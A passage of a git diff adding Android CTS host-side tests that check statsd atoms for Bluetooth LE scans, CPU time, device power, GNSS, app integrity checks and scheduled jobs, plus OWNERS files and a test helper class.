+                "testBleScanOpportunistic");
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        AtomTestUtils.assertTimeDiffBetween(data.get(0), data.get(1), minTimeDiffMillis,
+                maxTimeDiffMillis);
+        AtomsProto.BleScanStateChanged a0 = data.get(0).getAtom().getBleScanStateChanged();
+        assertThat(a0.getState().getNumber()).isEqualTo(
+                AtomsProto.BleScanStateChanged.State.ON_VALUE);
+        assertThat(a0.getIsFiltered()).isFalse();
+        assertThat(a0.getIsFirstMatch()).isFalse();
+        assertThat(a0.getIsOpportunistic()).isTrue();  // This scan is opportunistic.
+        AtomsProto.BleScanStateChanged a1 = data.get(1).getAtom().getBleScanStateChanged();
+        assertThat(a1.getState().getNumber()).isEqualTo(
+                AtomsProto.BleScanStateChanged.State.OFF_VALUE);
+        assertThat(a1.getIsFiltered()).isFalse();
+        assertThat(a1.getIsFirstMatch()).isFalse();
+        assertThat(a1.getIsOpportunistic()).isTrue();
+    }
+
+    public void testBleScanResult() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_BLUETOOTH_LE)) return;
+
+        final int atom = AtomsProto.Atom.BLE_SCAN_RESULT_RECEIVED_FIELD_NUMBER;
+        final int field = AtomsProto.BleScanResultReceived.NUM_RESULTS_FIELD_NUMBER;
+        StatsdConfigProto.StatsdConfig.Builder config = ConfigUtils.createConfigBuilder(
+                DeviceUtils.STATSD_ATOM_TEST_PKG);
+        ConfigUtils.addEventMetric(config, atom, Arrays.asList(
+                ConfigUtils.createUidFvm(/*useAttributionChain=*/ true,
+                        DeviceUtils.STATSD_ATOM_TEST_PKG),
+                ConfigUtils.createFvm(field).setGteInt(0)));
+        ConfigUtils.uploadConfig(getDevice(), config);
+
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testBleScanResult");
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        assertThat(data.size()).isAtLeast(1);
+        AtomsProto.BleScanResultReceived a0 = data.get(0).getAtom().getBleScanResultReceived();
+        assertThat(a0.getNumResults()).isAtLeast(1);
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/bluetooth/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/bluetooth/OWNERS
new file mode 100644
index 0000000..81f70f4
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/bluetooth/OWNERS
@@ -0,0 +1,4 @@
+# These atom tests are owned by the cpu team.
+# Test failures should be assigned to bluetooth-fireteam@google.com
+cncn@google.com
+siyuanh@google.com
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/cpu/CpuStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/cpu/CpuStatsTests.java
new file mode 100644
index 0000000..b3ac62c
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/cpu/CpuStatsTests.java
@@ -0,0 +1,152 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.cpu;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.List;
+
+public class CpuStatsTests extends DeviceTestCase implements IBuildReceiver {
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testCpuTimePerUid() throws Exception {
+        if (DeviceUtils.hasFeature(getDevice(), DeviceUtils.FEATURE_WATCH)) return;
+
+        ConfigUtils.uploadConfigForPulledAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.CPU_TIME_PER_UID_FIELD_NUMBER,  /*uidInAttributionChain=*/false);
+
+        // Do some trivial work on the app
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testSimpleCpu");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        // Trigger atom pull
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        // Verify correctness of data
+        List<AtomsProto.Atom> atoms = ReportUtils.getGaugeMetricAtoms(getDevice());
+        boolean found = false;
+        int appUid = DeviceUtils.getStatsdTestAppUid(getDevice());
+        for (AtomsProto.Atom atom : atoms) {
+            assertThat(atom.getCpuTimePerUid().getUid()).isEqualTo(appUid);
+            assertThat(atom.getCpuTimePerUid().getUserTimeMicros()).isGreaterThan(0L);
+            assertThat(atom.getCpuTimePerUid().getSysTimeMicros()).isGreaterThan(0L);
+            found = true;
+        }
+        assertWithMessage("Found no CpuTimePerUid atoms from uid " + appUid).that(found).isTrue();
+    }
+
+    public void testCpuTimePerClusterFreq() throws Exception {
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.CPU_TIME_PER_CLUSTER_FREQ_FIELD_NUMBER);
+
+        // Do some trivial work on the app
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testSimpleCpu");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        // Trigger atom pull
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        // The list of atoms will be empty if the atom is not supported.
+        List<AtomsProto.Atom> atoms = ReportUtils.getGaugeMetricAtoms(getDevice());
+
+        for (AtomsProto.Atom atom : atoms) {
+            assertThat(atom.getCpuTimePerClusterFreq().getCluster()).isAtLeast(0);
+            assertThat(atom.getCpuTimePerClusterFreq().getFreqKhz()).isAtLeast(0);
+            assertThat(atom.getCpuTimePerClusterFreq().getTimeMillis()).isAtLeast(0);
+        }
+    }
+
+    public void testCpuCyclesPerUidCluster() throws Exception {
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.CPU_CYCLES_PER_UID_CLUSTER_FIELD_NUMBER);
+
+        // Do some trivial work on the app
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testSimpleCpu");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        // Trigger atom pull
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        // The list of atoms will be empty if the atom is not supported.
+        List<AtomsProto.Atom> atoms = ReportUtils.getGaugeMetricAtoms(getDevice());
+
+        for (AtomsProto.Atom atom : atoms) {
+            assertThat(atom.getCpuCyclesPerUidCluster().getUid()).isAtLeast(0);
+            assertThat(atom.getCpuCyclesPerUidCluster().getCluster()).isAtLeast(0);
+            assertThat(atom.getCpuCyclesPerUidCluster().getMcycles()).isAtLeast(0);
+            assertThat(atom.getCpuCyclesPerUidCluster().getTimeMillis()).isAtLeast(0);
+            assertThat(atom.getCpuCyclesPerUidCluster().getPowerProfileEstimate()).isAtLeast(0);
+        }
+    }
+
+    public void testCpuCyclesPerThreadGroupCluster() throws Exception {
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.CPU_CYCLES_PER_THREAD_GROUP_CLUSTER_FIELD_NUMBER);
+
+        // Do some trivial work on the app
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testSimpleCpu");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        // Trigger atom pull
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        // The list of atoms will be empty if the atom is not supported.
+        List<AtomsProto.Atom> atoms = ReportUtils.getGaugeMetricAtoms(getDevice());
+
+        for (AtomsProto.Atom atom : atoms) {
+            assertThat(atom.getCpuCyclesPerThreadGroupCluster().getThreadGroup()).isNotEqualTo(
+              AtomsProto.CpuCyclesPerThreadGroupCluster.ThreadGroup.UNKNOWN_THREAD_GROUP);
+            assertThat(atom.getCpuCyclesPerThreadGroupCluster().getCluster()).isAtLeast(0);
+            assertThat(atom.getCpuCyclesPerThreadGroupCluster().getMcycles()).isAtLeast(0);
+            assertThat(atom.getCpuCyclesPerThreadGroupCluster().getTimeMillis()).isAtLeast(0);
+        }
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/cpu/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/cpu/OWNERS
new file mode 100644
index 0000000..4d3c442
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/cpu/OWNERS
@@ -0,0 +1,3 @@
+# These atom tests are owned by the cpu team.
+connoro@google.com
+rslawik@google.com  # Android Telemetry
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/devicepower/DevicePowerStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/devicepower/DevicePowerStatsTests.java
new file mode 100644
index 0000000..caf882a
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/devicepower/DevicePowerStatsTests.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.devicepower;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.List;
+
+public class DevicePowerStatsTests extends DeviceTestCase implements IBuildReceiver {
+    private static final boolean OPTIONAL_TESTS_ENABLED = false;
+
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testOnDevicePowerMeasurement() throws Exception {
+        if (!OPTIONAL_TESTS_ENABLED) return;
+
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.ON_DEVICE_POWER_MEASUREMENT_FIELD_NUMBER);
+
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<AtomsProto.Atom> dataList = ReportUtils.getGaugeMetricAtoms(getDevice());
+
+        for (AtomsProto.Atom atom : dataList) {
+            assertThat(atom.getOnDevicePowerMeasurement().getMeasurementTimestampMillis())
+                    .isAtLeast(0L);
+            assertThat(atom.getOnDevicePowerMeasurement().getEnergyMicrowattSecs()).isAtLeast(0L);
+        }
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/devicepower/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/devicepower/OWNERS
new file mode 100644
index 0000000..606dfa3
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/devicepower/OWNERS
@@ -0,0 +1,2 @@
+# Owners of OnDevicePowerMeasurement atom
+bsschwar@google.com
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/gnss/GnssStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/gnss/GnssStatsTests.java
new file mode 100644
index 0000000..c9a3303
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/gnss/GnssStatsTests.java
@@ -0,0 +1,124 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.gnss;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.List;
+
+public class GnssStatsTests extends DeviceTestCase implements IBuildReceiver {
+    private static final String FEATURE_LOCATION_GPS = "android.hardware.location.gps";
+
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testGnssStats() throws Exception {
+        // Get GnssMetrics as a simple gauge metric.
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.GNSS_STATS_FIELD_NUMBER);
+
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_LOCATION_GPS)) return;
+        // Whitelist this app against background location request throttling
+        String origWhitelist = getDevice().executeShellCommand(
+                "settings get global location_background_throttle_package_whitelist").trim();
+        getDevice().executeShellCommand(String.format(
+                "settings put global location_background_throttle_package_whitelist %s",
+                DeviceUtils.STATSD_ATOM_TEST_PKG));
+
+        try {
+            DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testGpsStatus");
+
+            Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+            // Trigger a pull and wait for new pull before killing the process.
+            AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+            Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+            // Assert about GnssMetrics for the test app.
+            List<AtomsProto.Atom> atoms = ReportUtils.getGaugeMetricAtoms(getDevice());
+
+            boolean found = false;
+            for (AtomsProto.Atom atom : atoms) {
+                AtomsProto.GnssStats state = atom.getGnssStats();
+                found = true;
+                if ((state.getSvStatusReports() > 0 || state.getL5SvStatusReports() > 0)
+                        && state.getLocationReports() == 0) {
+                    // Device is detected to be indoors and not able to acquire location.
+                    // flaky test device
+                    break;
+                }
+                assertThat(state.getLocationReports()).isGreaterThan((long) 0);
+                assertThat(state.getLocationFailureReports()).isAtLeast((long) 0);
+                assertThat(state.getTimeToFirstFixReports()).isGreaterThan((long) 0);
+                assertThat(state.getTimeToFirstFixMillis()).isGreaterThan((long) 0);
+                assertThat(state.getPositionAccuracyReports()).isGreaterThan((long) 0);
+                assertThat(state.getPositionAccuracyMeters()).isGreaterThan((long) 0);
+                assertThat(state.getTopFourAverageCn0Reports()).isGreaterThan((long) 0);
+                assertThat(state.getTopFourAverageCn0DbMhz()).isGreaterThan((long) 0);
+                assertThat(state.getL5TopFourAverageCn0Reports()).isAtLeast((long) 0);
+                assertThat(state.getL5TopFourAverageCn0DbMhz()).isAtLeast((long) 0);
+                assertThat(state.getSvStatusReports()).isAtLeast((long) 0);
+                assertThat(state.getSvStatusReportsUsedInFix()).isAtLeast((long) 0);
+                assertThat(state.getL5SvStatusReports()).isAtLeast((long) 0);
+                assertThat(state.getL5SvStatusReportsUsedInFix()).isAtLeast((long) 0);
+            }
+            assertWithMessage(String.format("Did not find a matching atom"))
+                    .that(found).isTrue();
+        } finally {
+            if ("null".equals(origWhitelist) || "".equals(origWhitelist)) {
+                getDevice().executeShellCommand(
+                        "settings delete global location_background_throttle_package_whitelist");
+            } else {
+                getDevice().executeShellCommand(String.format(
+                        "settings put global location_background_throttle_package_whitelist %s",
+                        origWhitelist));
+            }
+        }
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/gnss/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/gnss/OWNERS
new file mode 100644
index 0000000..08841c7
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/gnss/OWNERS
@@ -0,0 +1,2 @@
+# Owners of the GnssStats atom
+kragtenb@google.com
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/integrity/IntegrityCheckStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/integrity/IntegrityCheckStatsTests.java
new file mode 100644
index 0000000..ff17dfa
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/integrity/IntegrityCheckStatsTests.java
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.integrity;
+
+import static com.android.os.AtomsProto.IntegrityCheckResultReported.Response.ALLOWED;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.os.StatsLog;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.List;
+
+public class IntegrityCheckStatsTests extends DeviceTestCase implements IBuildReceiver {
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+
+    public void testIntegrityCheckAtomReportedDuringInstall() throws Exception {
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.INTEGRITY_CHECK_RESULT_REPORTED_FIELD_NUMBER);
+
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        assertThat(data.size()).isEqualTo(1);
+        assertThat(data.get(0).getAtom().hasIntegrityCheckResultReported()).isTrue();
+        AtomsProto.IntegrityCheckResultReported result = data.get(0)
+                .getAtom().getIntegrityCheckResultReported();
+        assertThat(result.getPackageName()).isEqualTo(DeviceUtils.STATSD_ATOM_TEST_PKG);
+        // we do not assert on certificates since it seem to differ by device.
+        assertThat(result.getInstallerPackageName()).isEqualTo("adb");
+        long testPackageVersion = 10;
+        assertThat(result.getVersionCode()).isEqualTo(testPackageVersion);
+        assertThat(result.getResponse()).isEqualTo(ALLOWED);
+        assertThat(result.getCausedByAppCertRule()).isFalse();
+        assertThat(result.getCausedByInstallerRule()).isFalse();
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/integrity/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/integrity/OWNERS
new file mode 100644
index 0000000..1236598
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/integrity/OWNERS
@@ -0,0 +1,2 @@
+# Owners of the IntegrityCheckResultReported atom
+songpan@google.com
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/jobscheduler/JobSchedulerStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/jobscheduler/JobSchedulerStatsTests.java
new file mode 100644
index 0000000..d282ffb
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/jobscheduler/JobSchedulerStatsTests.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.jobscheduler;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.os.StatsLog;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
+public class JobSchedulerStatsTests extends DeviceTestCase implements IBuildReceiver {
+    private static final String JOB_NAME =
+            "com.android.server.cts.device.statsdatom/.StatsdJobService";
+
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testScheduledJobState() throws Exception {
+        final int atomTag = AtomsProto.Atom.SCHEDULED_JOB_STATE_CHANGED_FIELD_NUMBER;
+        Set<Integer> jobSchedule = new HashSet<>(
+                Arrays.asList(AtomsProto.ScheduledJobStateChanged.State.SCHEDULED_VALUE));
+        Set<Integer> jobOn = new HashSet<>(
+                Arrays.asList(AtomsProto.ScheduledJobStateChanged.State.STARTED_VALUE));
+        Set<Integer> jobOff = new HashSet<>(
+                Arrays.asList(AtomsProto.ScheduledJobStateChanged.State.FINISHED_VALUE));
+
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(jobSchedule, jobOn, jobOff);
+
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag, /*useUidAttributionChain=*/true);
+        DeviceUtils.allowImmediateSyncs(getDevice());
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testScheduledJob");
+
+        // Sorted list of events in order in which they occurred.
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        AtomTestUtils.assertStatesOccurred(stateSet, data, 0,
+                atom -> atom.getScheduledJobStateChanged().getState().getNumber());
+
+        for (StatsLog.EventMetricData e : data) {
+            assertThat(e.getAtom().getScheduledJobStateChanged().getJobName())
+                    .isEqualTo(JOB_NAME);
+        }
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/jobscheduler/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/jobscheduler/OWNERS
new file mode 100644
index 0000000..c018129
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/jobscheduler/OWNERS
@@ -0,0 +1,6 @@
+# Owners of the ScheduledJobStateChanged atom
+ctate@android.com
+ctate@google.com
+kwekua@google.com
+omakoto@google.com
+yamasani@google.com
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/AtomTestUtils.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/AtomTestUtils.java
new file mode 100644
index 0000000..dbb6699
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/AtomTestUtils.java
@@ -0,0 +1,178 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.lib;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import com.android.os.AtomsProto;
+import com.android.os.AtomsProto.AppBreadcrumbReported;
+import com.android.os.StatsLog;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil;
+
+import com.google.common.collect.Range;
+
+import java.util.List;
+import java.util.Set;
+import java.util.function.Function;
+
+/**
+ * Contains miscellaneous helper functions that are used in statsd atom tests
+ */
+public final class AtomTestUtils {
+
+    public static final int WAIT_TIME_SHORT = 500;
+    public static final int WAIT_TIME_LONG = 1000;
+
+    public static final long NS_PER_SEC = (long) 1E+9;
+
+    /**
+     * Sends an AppBreadcrumbReported atom to statsd. For GaugeMetrics that are added using
+     * ConfigUtils, pulls are triggered when statsd receives an AppBreadcrumbReported atom, so
+     * calling this function is necessary for gauge data to be acquired.
+     *
+     * @param device test device can be retrieved using getDevice()
+     */
+    public static void sendAppBreadcrumbReportedAtom(ITestDevice device)
+            throws DeviceNotAvailableException {
+        String cmd = String.format("cmd stats log-app-breadcrumb %d %d", /*label=*/1,
+                AppBreadcrumbReported.State.START.ordinal());
+        device.executeShellCommand(cmd);
+    }
+
+    /**
+     * Asserts that each set of states in stateSets occurs at least once in data.
+     * Asserts that the states in data occur in the same order as the sets in stateSets.
+     *
+     * @param stateSets        A list of set of states, where each set represents an equivalent
+     *                         state of the device for the purpose of CTS.
